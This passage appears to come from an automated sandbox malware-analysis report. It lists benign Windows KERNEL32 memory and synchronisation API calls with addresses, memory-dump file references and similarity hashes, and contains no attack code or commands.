          • EnterCriticalSection.KERNEL32(?), ref: 0049B7B8
          • LeaveCriticalSection.KERNEL32(?,?), ref: 0049B7C8
          • LocalFree.KERNEL32(?), ref: 0049B7D1
          • TlsSetValue.KERNEL32(?,00000000), ref: 0049B7E7
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: CriticalSection$EnterFreeLeaveLocalValue
          • String ID:
          • API String ID: 2949335588-0
          • Opcode ID: 811651d5486e6d0b5266ea78df0573cfeb1fcc486391d735181a5f8eceaf1d3d
          • Instruction ID: ba13b211bd67a15c2e1215111094987e35ed228e5125ae817bda4439f80ce1ca
          • Opcode Fuzzy Hash: 811651d5486e6d0b5266ea78df0573cfeb1fcc486391d735181a5f8eceaf1d3d
          • Instruction Fuzzy Hash: 5F216D35200210EFDB258F85E984B6A7BA4EF85711F1085BAE9429B2A1C7B5E840CB94
          APIs
          • HeapReAlloc.KERNEL32(00000000,00000050,00000000,00000000,00489A32,00000000,00000000,00000000,00482133,00000000,00000000,?,00000000,00000000,00000000), ref: 00489C92
          • HeapAlloc.KERNEL32(00000008,000041C4,00000000,00000000,00489A32,00000000,00000000,00000000,00482133,00000000,00000000,?,00000000,00000000,00000000), ref: 00489CC6
          • VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004), ref: 00489CE0
          • HeapFree.KERNEL32(00000000,?), ref: 00489CF7
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: AllocHeap$FreeVirtual
          • String ID:
          • API String ID: 3499195154-0
          • Opcode ID: 0aa9fe6769804fe16cea0cc9a14de0a290a15f540a0bab59f2b2113630b1fa09
          • Instruction ID: 3ee48886ce763d5d5b80296929f1dcc3904411b9d55a8e451143b5aee3e7ee21
          • Opcode Fuzzy Hash: 0aa9fe6769804fe16cea0cc9a14de0a290a15f540a0bab59f2b2113630b1fa09
          • Instruction Fuzzy Hash: 7211C179240A02AFC721DF1AEC85D6E7BF1FBA53107144A1AF152C61B0C371984ADF19
          APIs
          • EnterCriticalSection.KERNEL32(004FD0E8,?,00000000,?,?,0049B903,00000010,?,00000000,?,?,?,0049B2EA,0049B34D,0049ABD3,0049B2F0), ref: 0049C577
          • InitializeCriticalSection.KERNEL32(00000000,?,00000000,?,?,0049B903,00000010,?,00000000,?,?,?,0049B2EA,0049B34D,0049ABD3,0049B2F0), ref: 0049C589
          • LeaveCriticalSection.KERNEL32(004FD0E8,?,00000000,?,?,0049B903,00000010,?,00000000,?,?,?,0049B2EA,0049B34D,0049ABD3,0049B2F0), ref: 0049C592
          • EnterCriticalSection.KERNEL32(00000000,00000000,?,?,0049B903,00000010,?,00000000,?,?,?,0049B2EA,0049B34D,0049ABD3,0049B2F0,00496AC5), ref: 0049C5A4
            • Part of subcall function 0049C4A9: GetVersion.KERNEL32(?,0049C54C,?,0049B903,00000010,?,00000000,?,?,?,0049B2EA,0049B34D,0049ABD3,0049B2F0,00496AC5,00497D61), ref: 0049C4BC
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: CriticalSection$Enter$InitializeLeaveVersion
          • String ID:
          • API String ID: 1193629340-0
          • Opcode ID: fcba04d04950cf4ae3728d6dd7848cbbb51bc6215663687f697641351bc3815e
          • Instruction ID: fbcb44bc9bf4958bdb63daf27c919a30a0c9848ccef4c35250d9b362e4971e8b
          • Opcode Fuzzy Hash: fcba04d04950cf4ae3728d6dd7848cbbb51bc6215663687f697641351bc3815e
          • Instruction Fuzzy Hash: 85F0A43540122AEFCB10AF95FCC4966B7AEFB5432AF410037E20592025D734F465DAAD
          APIs
          • InitializeCriticalSection.KERNEL32(?,00485A85,?,0048084A), ref: 00488368
          • InitializeCriticalSection.KERNEL32(?,00485A85,?,0048084A), ref: 00488370
          • InitializeCriticalSection.KERNEL32(?,00485A85,?,0048084A), ref: 00488378
          • InitializeCriticalSection.KERNEL32(?,00485A85,?,0048084A), ref: 00488380
          Memory Dump Source
          • Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd
          Similarity
          • API ID: CriticalInitializeSection
          • String ID:
          • API String ID: 32694325-0
          • Opcode ID: b06a76641a5cc4a85fd6cff38c2a0d675b387cecc30614e7b8b5631a229a7a9c
          • Instruction ID: 2abf5f6c8d12029d00b4746378fb9915d29279766405a97b35f2d26dcacaeddd
          • Opcode Fuzzy Hash: b06a76641a5cc4a85fd6cff38c2a0d675b387cecc30614e7b8b5631a229a7a9c
          • Instruction Fuzzy Hash: 8DC002B29130349ACA912B55FD46C663F26EB853A03010073E10C5143086311C20DFD8